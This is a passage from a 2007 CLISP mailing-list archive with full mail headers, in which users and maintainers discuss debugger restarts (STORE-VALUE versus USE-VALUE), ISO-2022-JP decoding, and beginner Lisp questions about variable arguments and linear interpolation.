but I haven't been able to find a tutorial on debugging in clisp. Does anyone know of any? I have tried looking at the documentation but I am not getting it. Is there anyone who can answer just a couple of questions for me? For example, what is the difference between STORE-VALUE and USE-VALUE [1]> (aa 1 2) ** - Continuable Error EVAL: undefined function AA If you continue (by typing 'continue'): Retry The following restarts are also available: STORE-VALUE :R1 You may input a new value for (FDEFINITION 'AA). USE-VALUE :R2 You may input a value to be used instead of (FDEFINITION 'AA). Then if I for example selec :R1 what should be entered next (yes I realize this depends on what you are trying to do, just give me a example that does anything) Break 1 [2]> :R1 New (FDEFINITION 'AA): Thanks Steve -- Become a blue chip expert today - http://www.bluechipexpert.com/invite?code=xqyry Lisp Programming - You don't know what your missing ... Benjamin Franklin, in his autobiography, argues that you can be more productive at work if you don't drink rum or beer all day, apparently a revolutionary concept in the 18th century. ====================================== Help Send Laurie to Veterinary School http://www.sendlaurietovetschool.com From sds@gnu.org Tue Jan 23 09:37:16 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1H9Pa8-000091-Px for clisp-list@lists.sourceforge.net; Tue, 23 Jan 2007 09:37:16 -0800 Received: from janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1H9Pa6-0005uH-DI for clisp-list@lists.sourceforge.net; Tue, 23 Jan 2007 09:37:16 -0800 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD-9.10) id A7BF1090; Tue, 23 Jan 2007 12:37:03 -0500 Message-ID: <45B647BF.5040801@gnu.org> Date: Tue, 23 Jan 2007 12:37:03 -0500 From: Sam Steingold User-Agent: Thunderbird 1.5.0.8 (X11/20061107) MIME-Version: 1.0 To: Steve Morin , clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] Clisp debugging a good tutorial? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 23 Jan 2007 17:37:17 -0000 Steve Morin wrote: > Sorry for posting this, but I haven't been able to find a tutorial on > debugging in clisp. do you volunteer to write one? preferably, as an extension to http://clisp.cons.org/impnotes/debugger.html > For example, what is the difference between STORE-VALUE and USE-VALUE http://www.lisp.org/HyperSpec/Body/any_use-value.html http://www.lisp.org/HyperSpec/Body/any_store-value.html > (yes I realize this depends on what you are trying to do, just give me > a example that does anything) > > Break 1 [2]> :R1 > > New (FDEFINITION 'AA): [4]> (foo 6 7) *** - EVAL: undefined function FOO The following restarts are available: USE-VALUE :R1 You may input a value to be used instead of (FDEFINITION 'FOO). RETRY :R2 Retry STORE-VALUE :R3 You may input a new value for (FDEFINITION FOO). ABORT :R4 ABORT Break 1 [5]> :r3 New (FDEFINITION 'FOO): #.#'* 42 [6]> (foo 6 7) 42 note that what you type to the prompt is not evaluated, so if you just type #'*, you will be entering the list "(FUNCTION *)", not the function object. this is why you need "#." Sam. From steve.morin@gmail.com Tue Jan 23 09:50:50 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1H9PnG-0001Tu-Bo for clisp-list@lists.sourceforge.net; Tue, 23 Jan 2007 09:50:50 -0800 Received: from an-out-0708.google.com ([209.85.132.250]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1H9PnE-0001Hu-Mt for clisp-list@lists.sourceforge.net; Tue, 23 Jan 2007 09:50:50 -0800 Received: by an-out-0708.google.com with SMTP id d40so1370048and for ; Tue, 23 Jan 2007 09:50:47 -0800 (PST) Received: by 10.49.8.15 with SMTP id l15mr1484934nfi.1169574646704; Tue, 23 Jan 2007 09:50:46 -0800 (PST) Received: by 10.49.71.8 with HTTP; Tue, 23 Jan 2007 09:50:46 -0800 (PST) Message-ID: Date: Tue, 23 Jan 2007 12:50:46 -0500 From: "Steve Morin" To: clisp-list@lists.sourceforge.net In-Reply-To: <45B647BF.5040801@gnu.org> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <45B647BF.5040801@gnu.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] Clisp debugging a good tutorial? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 23 Jan 2007 17:50:51 -0000 Sure i'll write one as soon, as I figure out it out my self. I think you just snagged your self a volunteer. Steve On 1/23/07, Sam Steingold wrote: > Steve Morin wrote: > > Sorry for posting this, but I haven't been able to find a tutorial on > > debugging in clisp. > > do you volunteer to write one? > preferably, as an extension to http://clisp.cons.org/impnotes/debugger.html > > > For example, what is the difference between STORE-VALUE and USE-VALUE > > http://www.lisp.org/HyperSpec/Body/any_use-value.html > http://www.lisp.org/HyperSpec/Body/any_store-value.html > > > (yes I realize this depends on what you are trying to do, just give me > > a example that does anything) > > > > Break 1 [2]> :R1 > > > > New (FDEFINITION 'AA): > > > [4]> (foo 6 7) > > *** - EVAL: undefined function FOO > The following restarts are available: > USE-VALUE :R1 You may input a value to be used instead of > (FDEFINITION 'FOO). > RETRY :R2 Retry > STORE-VALUE :R3 You may input a new value for (FDEFINITION FOO). > ABORT :R4 ABORT > Break 1 [5]> :r3 > New (FDEFINITION 'FOO): #.#'* > 42 > [6]> (foo 6 7) > 42 > > note that what you type to the prompt is not evaluated, so if you just > type #'*, you will be entering the list "(FUNCTION *)", not the function > object. this is why you need "#." > > Sam. > > -- Become a blue chip expert today - http://www.bluechipexpert.com/invite?code=xqyry Lisp Programming - You don't know what your missing ... Benjamin Franklin, in his autobiography, argues that you can be more productive at work if you don't drink rum or beer all day, apparently a revolutionary concept in the 18th century. ====================================== Help Send Laurie to Veterinary School http://www.sendlaurietovetschool.com From steve.morin@gmail.com Tue Jan 23 20:33:05 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1H9Zon-00040P-5Y for clisp-list@lists.sourceforge.net; Tue, 23 Jan 2007 20:33:05 -0800 Received: from nf-out-0910.google.com ([64.233.182.186]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1H9Zok-0002vw-Dp for clisp-list@lists.sourceforge.net; Tue, 23 Jan 2007 20:33:05 -0800 Received: by nf-out-0910.google.com with SMTP id c31so935427nfb for ; Tue, 23 Jan 2007 20:32:56 -0800 (PST) Received: by 10.48.162.15 with SMTP id k15mr2304403nfe.1169613175214; Tue, 23 Jan 2007 20:32:55 -0800 (PST) Received: by 10.49.71.8 with HTTP; Tue, 23 Jan 2007 20:32:55 -0800 (PST) Message-ID: Date: Tue, 23 Jan 2007 23:32:55 -0500 From: "Steve Morin" To: clisp-list@lists.sourceforge.net In-Reply-To: <45B647BF.5040801@gnu.org> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <45B647BF.5040801@gnu.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] Clisp debugging a good tutorial? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 24 Jan 2007 04:33:05 -0000 So would you use the same input for R1 as you use for r3. I tried that and it didn't seam to work. Steve On 1/23/07, Sam Steingold wrote: > Steve Morin wrote: > > Sorry for posting this, but I haven't been able to find a tutorial on > > debugging in clisp. > > do you volunteer to write one? > preferably, as an extension to http://clisp.cons.org/impnotes/debugger.html > > > For example, what is the difference between STORE-VALUE and USE-VALUE > > http://www.lisp.org/HyperSpec/Body/any_use-value.html > http://www.lisp.org/HyperSpec/Body/any_store-value.html > > > (yes I realize this depends on what you are trying to do, just give me > > a example that does anything) > > > > Break 1 [2]> :R1 > > > > New (FDEFINITION 'AA): > > > [4]> (foo 6 7) > > *** - EVAL: undefined function FOO > The following restarts are available: > USE-VALUE :R1 You may input a value to be used instead of > (FDEFINITION 'FOO). > RETRY :R2 Retry > STORE-VALUE :R3 You may input a new value for (FDEFINITION FOO). > ABORT :R4 ABORT > Break 1 [5]> :r3 > New (FDEFINITION 'FOO): #.#'* > 42 > [6]> (foo 6 7) > 42 > > note that what you type to the prompt is not evaluated, so if you just > type #'*, you will be entering the list "(FUNCTION *)", not the function > object. this is why you need "#." > > Sam. > > -- Become a blue chip expert today - http://www.bluechipexpert.com/invite?code=xqyry Lisp Programming - You don't know what your missing ... Benjamin Franklin, in his autobiography, argues that you can be more productive at work if you don't drink rum or beer all day, apparently a revolutionary concept in the 18th century. ====================================== Help Send Laurie to Veterinary School http://www.sendlaurietovetschool.com From vi_larsen@yahoo.no Wed Jan 24 00:44:21 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1H9djx-0001wY-3s for clisp-list@lists.sourceforge.net; Wed, 24 Jan 2007 00:44:21 -0800 Received: from smtp107.plus.mail.re2.yahoo.com ([206.190.53.32]) by mail.sourceforge.net with smtp (Exim 4.44) id 1H9djv-0008H4-Do for clisp-list@lists.sourceforge.net; Wed, 24 Jan 2007 00:44:21 -0800 Received: (qmail 94033 invoked from network); 24 Jan 2007 08:44:13 -0000 Received: from unknown (HELO ?172.24.94.184?) (vi_larsen@217.144.236.4 with plain) by smtp107.plus.mail.re2.yahoo.com with SMTP; 24 Jan 2007 08:44:12 -0000 X-YMail-OSG: qBZKVmMVM1kNDK_3V5fWkVg3UmAkX7vfPj6OyAUBykN38KsmUgisv3yQYdkxL0UGZnvatCVeZOMPCS.4qDthu2xQvEmACETzIG_zNvZ0H3T9j.BO2q8SX4RPNagwpAY7qJPT5ko9cgy01gw- Mime-Version: 1.0 (Apple Message framework v752.2) X-Gpgmail-State: !signed Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: <3EEA7318-B387-4F80-BB2D-77D9F01C3C43@yahoo.no> Content-Transfer-Encoding: 7bit From: Vidar Larsen Date: Wed, 24 Jan 2007 09:44:09 +0100 To: vi_larsen@yahoo.no X-Mailer: Apple Mail (2.752.2) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] ISO-2022-JP X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 24 Jan 2007 08:44:21 -0000 Hi, Klaus. Although the wikipedia article http://en.wikipedia.org/wiki/ISO-2022- JP indicates (in some parts) that iso-2022 uses 8-bits (also linking to http://en.wikipedia.org/wiki/JIS_X_0201), the RFC 1468 (http:// www.ietf.org/rfc/rfc1468.txt) describes the 1-byte roman characters as 7-bit. Thus, 168 in 1-byte mode is not allowed; and even the commandline 'iconv' will complain about that. The correct sequence of characters in iso-2022-jp in your example, using two-byte encoding of the katakana character, would be as follows (taking care to end the string in ASCII): (map 'list 'char-code (convert-string-from-bytes #(65 92 27 40 74 92 27 36 66 37 35 27 40 66) (make-encoding :charset "ISO-2022-JP" :line-terminator :unix :input-error-action #\Null :output-error-action #\Null))) Giving (65 92 165 12451) /vidar Den 23. jan. 2007 kl. 15:50 skrev Klaus Ebbe Grue: > Hi clisp-list@lists.sourceforge.net, > > If I type > > (map 'list 'char-code > (convert-string-from-bytes #(65 92 27 40 74 92 168) > (make-encoding > :charset "ISO-2022-JP" > :line-terminator :unix > :input-error-action #\Null > :output-error-action #\Null))) > > then I get > > (65 92 165 0) > > The input #(65 92 27 40 74 92 168) consists of an ascii A (65), an > ascii backslash (92), a shift to Japanese sequence (27 40 74), a > yen sign > (92) and a katakana glyph (168). > > The output (65 92 165 0) consists of an ascii A (65), an ascii > backslash > (92) a yen sign (165) and an invalid character (0). > > So the shift to Japanese sequence (27 40 74) seems to be > recognized, but > katakana (code 161-223) does not seem to be recognized. > > Any suggestions? > > Cheers, > Klaus > > --- > > [grue@thor grue]$ clisp --version > GNU CLISP 2.41 (2006-10-13) (built 3370084031) (memory 3370084648) > Software: GNU C 3.2 20020903 (Red Hat Linux 8.0 3.2-7) > gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit - > Wreturn-type > -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations > -falign-functions=4 -DUNICODE -DDYNAMIC_FFI -I. -x none libcharset.a > libavcall.a libcallback.a > /usr/local/lib/libreadline.so -Wl,-rpath -Wl,/usr/local/lib - > lncurses -ldl > -L/usr/local/lib -lsigsegv -lc -L/usr/X11R6/lib > SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS > SPVW_MIXED TRIVIALMAP_MEMORY > libsigsegv 2.4 > libreadline 5.1 > Features: > (READLINE REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL > COMMON-LISP > LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES > SCREEN FFI > GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 UNIX) > C Modules: (clisp i18n syscalls regexp readline) > Installation directory: /usr/local/lib/clisp/ > User language: ENGLISH > Machine: I686 (I686) thor.yoa.dk [127.0.0.1] > > ---------------------------------------------------------------------- > --- > Take Surveys. Earn Cash. Influence the Future of IT > Join SourceForge.net's Techsay panel and you'll get the chance to > share your > opinions on IT & business topics through brief surveys - and earn cash > http://www.techsay.com/default.php? > page=join.php&p=sourceforge&CID=DEVDEV > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > __________________________________________________ Bruker du Yahoo!? Lei av spam? Yahoo! Mail har den beste spambeskyttelsen http://no.mail.yahoo.com From sds@gnu.org Wed Jan 24 08:30:57 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1H9l1V-0007Po-3X for clisp-list@lists.sourceforge.net; Wed, 24 Jan 2007 08:30:57 -0800 Received: from janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1H9l1P-0005BF-AE for clisp-list@lists.sourceforge.net; Wed, 24 Jan 2007 08:30:57 -0800 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD-9.10) id A9A20B04; Wed, 24 Jan 2007 11:30:26 -0500 Message-ID: <45B789A1.3030900@gnu.org> Date: Wed, 24 Jan 2007 11:30:25 -0500 From: Sam Steingold User-Agent: Thunderbird 1.5.0.8 (X11/20061107) MIME-Version: 1.0 To: Steve Morin References: <45B647BF.5040801@gnu.org> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Clisp debugging a good tutorial? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 24 Jan 2007 16:30:57 -0000 Steve Morin wrote: > So would you use the same input for R1 as you use for r3. I tried > that and it didn't seam to work. wfm: [1]> (foo 6 7) *** - EVAL: undefined function FOO The following restarts are available: USE-VALUE :R1 You may input a value to be used instead of (FDEFINITION 'FOO). RETRY :R2 Retry STORE-VALUE :R3 You may input a new value for (FDEFINITION 'FOO). ABORT :R4 ABORT Break 1 [2]> use-value Use instead of (FDEFINITION 'FOO): #.#'* 42 [3]> (foo 6 7) *** - EVAL: undefined function FOO The following restarts are available: USE-VALUE :R1 You may input a value to be used instead of (FDEFINITION 'FOO). RETRY :R2 Retry STORE-VALUE :R3 You may input a new value for (FDEFINITION 'FOO). ABORT :R4 ABORT Break 1 [4]> store-value New (FDEFINITION 'FOO): #.#'* 42 [5]> (foo 6 7) 42 [6]> #'foo # [7]> note also that you can use TAB to complete "use-v" to "use-value" &c. Sam From bounces@nabble.com Fri Jan 26 14:11:33 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HAZID-0006Q3-C2 for clisp-list@lists.sourceforge.net; Fri, 26 Jan 2007 14:11:33 -0800 Received: from www.nabble.com ([72.21.53.35] helo=talk.nabble.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HAZIB-0004ts-3E for clisp-list@lists.sourceforge.net; Fri, 26 Jan 2007 14:11:33 -0800 Received: from [72.21.53.38] (helo=jubjub.nabble.com) by talk.nabble.com with esmtp (Exim 4.50) id 1HAZIA-0003rt-KA for clisp-list@lists.sourceforge.net; Fri, 26 Jan 2007 14:11:30 -0800 Message-ID: <8659740.post@talk.nabble.com> Date: Fri, 26 Jan 2007 14:11:30 -0800 (PST) From: Hans3 To: clisp-list@lists.sourceforge.net In-Reply-To: <17844.47017.377261.438817@thalassa.informatimago.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Nabble-From: tomkorver@gmail.com References: <8481115.post@talk.nabble.com> <17844.47017.377261.438817@thalassa.informatimago.com> X-Spam-Score: -2.8 (--) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts Subject: Re: [clisp-list] A few beginner problems X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 26 Jan 2007 22:11:33 -0000 Thanks for the advice Klaus & Pascal! Although Pascal's advice is clear, I'm aware of the steps I need to follow to make these functions, I know this. What I don't know is the code... (because I don't have much experience yet) For now I have another question: How can I define a function with unlimited arguments? Example: (defun test (a &optional b c d e f g h i j k etc.... ) I would like it so that it doesnt matter how many arguments are there, so that it can be processed with a loop function until all arguments are used. Also it must be possible that in the function I can say: setf list (list *all arguments*) What command then do I need for *all arguments* ? -- View this message in context: http://www.nabble.com/A-few-beginner-problems-tf3050986.html#a8659740 Sent from the clisp-list mailing list archive at Nabble.com. From grue@diku.dk Sat Jan 27 02:07:39 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HAkTC-0007Cz-NV for clisp-list@lists.sourceforge.net; Sat, 27 Jan 2007 02:07:38 -0800 Received: from mgw1.diku.dk ([130.225.96.91] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HAkTA-0005fk-Ms for clisp-list@lists.sourceforge.net; Sat, 27 Jan 2007 02:07:38 -0800 Received: from localhost (localhost [127.0.0.1]) by mgw1.diku.dk (Postfix) with ESMTP id 5A45A7700AB; Sat, 27 Jan 2007 11:07:32 +0100 (CET) Received: from mgw1.diku.dk ([127.0.0.1]) by localhost (mgw1.diku.dk [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 28757-08; Sat, 27 Jan 2007 11:07:30 +0100 (CET) Received: from nhugin.diku.dk (nhugin.diku.dk [130.225.96.140]) by mgw1.diku.dk (Postfix) with ESMTP id 554F477004D; Sat, 27 Jan 2007 11:07:22 +0100 (CET) Received: from tyr.diku.dk (tyr.diku.dk [130.225.96.226]) by nhugin.diku.dk (Postfix) with ESMTP id 73F1E6DFB71; Sat, 27 Jan 2007 11:07:08 +0100 (CET) Received: by tyr.diku.dk (Postfix, from userid 1018) id 2F31761ACE; Sat, 27 Jan 2007 11:07:22 +0100 (CET) Received: from localhost (localhost [127.0.0.1]) by tyr.diku.dk (Postfix) with ESMTP id 24D5114F9A; Sat, 27 Jan 2007 11:07:22 +0100 (CET) Date: Sat, 27 Jan 2007 11:07:22 +0100 (CET) From: Klaus Ebbe Grue To: Hans3 In-Reply-To: <8659740.post@talk.nabble.com> Message-ID: References: <8481115.post@talk.nabble.com> <17844.47017.377261.438817@thalassa.informatimago.com> <8659740.post@talk.nabble.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Virus-Scanned: amavisd-new at diku.dk X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] A few beginner problems X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 27 Jan 2007 10:07:39 -0000 > How can I define a function with unlimited arguments? > (defun test (a &optional b c d e f g h i j k etc.... ) I think you should *not* ask clisp-list@lists.sourceforge.net. I will send an answer directly to tomkorver@gmail.com. -Klaus From pjb@informatimago.com Sat Jan 27 04:48:25 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HAmyn-00061n-6P for clisp-list@lists.sourceforge.net; Sat, 27 Jan 2007 04:48:25 -0800 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HAmyl-0004J9-E5 for clisp-list@lists.sourceforge.net; Sat, 27 Jan 2007 04:48:25 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 5189E586B8; Sat, 27 Jan 2007 13:48:16 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id B9ED9586B3; Sat, 27 Jan 2007 13:48:13 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 8736312AD86; Sat, 27 Jan 2007 13:48:13 +0100 (CET) From: Pascal Bourguignon Message-ID: <17851.18957.513923.464278@thalassa.informatimago.com> Date: Sat, 27 Jan 2007 13:48:13 +0100 To: Hans3 In-Reply-To: <8659740.post@talk.nabble.com> References: <8481115.post@talk.nabble.com> <17844.47017.377261.438817@thalassa.informatimago.com> <8659740.post@talk.nabble.com> X-Mailer: VM 7.17 under Emacs 22.0.91.1 Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] A few beginner problems X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 27 Jan 2007 12:48:25 -0000 Hans3 writes: > Thanks for the advice Klaus & Pascal! > Although Pascal's advice is clear, I'm aware of the steps I need to fol= low > to make these functions, I know this. > What I don't know is the code... (because I don't have much experience = yet) Well, the question is what does it mean to interpolate? Assume we're considering only one couple of points=20 (interpolate '(4) '(8) 3) we have the points of coordinates (0,4) and (1,8) and we want to find one (=3D3-2, since we count these two points) point on the line that pass thru these two points. To do that, you need to compute the equation of the line from the two points, and then you need to divide the horizontal distance between the two points by the number of interpolated points plus one, and then, you can compute the y coordinate. In this example, the equation of the line passing thru (0,4) and (1,8) is: y=3D4+4x (since 4=3D4+4*0 and 8=3D4=3D4*1) and since we need only one point in the middle, with x =3D (1-0)/2 =3D 0.= 5 we find y =3D 4+4*0.5 =3D 6 therefore the result is: '((4) (6) (8)) So, what you need to do, is to write a function that finds the parameters a and b of the line y=3Dax+b, that passes between two points of coordinates (0,y0) and (1,y1). Then you must compute the list of intermediate y's for the serie of n x's going from 0 to 1.=20 Once you can do it for one couple of points, ou can do it for any number of couples of points given in two lists. --=20 __Pascal Bourguignon__ http://www.informatimago.com/ READ THIS BEFORE OPENING PACKAGE: According to certain suggested versions of the Grand Unified Theory, the primary particles constituting this product may decay to nothingness within the next four hundred million years. From Devon@Jovi.Net Sat Jan 27 10:01:45 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HArs0-0006R1-LG for clisp-list@lists.sourceforge.net; Sat, 27 Jan 2007 10:01:45 -0800 Received: from grant.org ([206.190.173.18]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1HArry-0000xZ-VM for clisp-list@lists.sourceforge.net; Sat, 27 Jan 2007 10:01:44 -0800 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id l0RHHAxq070616 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 27 Jan 2007 12:17:11 -0500 (EST) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id l0RHH6CS070612; Sat, 27 Jan 2007 12:17:06 -0500 (EST) (envelope-from Devon@Jovi.Net) Date: Sat, 27 Jan 2007 12:17:06 -0500 (EST) Message-Id: <200701271717.l0RHH6CS070612@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: Klaus Ebbe Grue In-reply-to: (message from Klaus Ebbe Grue on Sat, 27 Jan 2007 11:07:22 +0100 (CET)) References: <8481115.post@talk.nabble.com> <17844.47017.377261.438817@thalassa.informatimago.com> <8659740.post@talk.nabble.com> X-DCC-sonic.net-Metrics: grant.org 1156; IP=ok Body=4 Fuz1=4 Fuz2=4 X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-2.0.2 (grant.org [127.0.0.1]); Sat, 27 Jan 2007 12:17:12 -0500 (EST) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net, tomkorver@gmail.com Subject: Re: [clisp-list] A few beginner problems X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 27 Jan 2007 18:01:45 -0000 Date: Sat, 27 Jan 2007 11:07:22 +0100 (CET) From: Klaus Ebbe Grue > How can I define a function with unlimited arguments? > (defun test (a &optional b c d e f g h i j k etc.... ) I think you should *not* ask clisp-list@lists.sourceforge.net. I will send an answer directly to tomkorver@gmail.com. Google [Hyperspec arguments] gets http://www.lisp.org/HyperSpec/Body/glo_a.html argument n. 1. (of a function) an object which is offered as data to the function when it is called. 2. (of a format control) a format argument. which is not 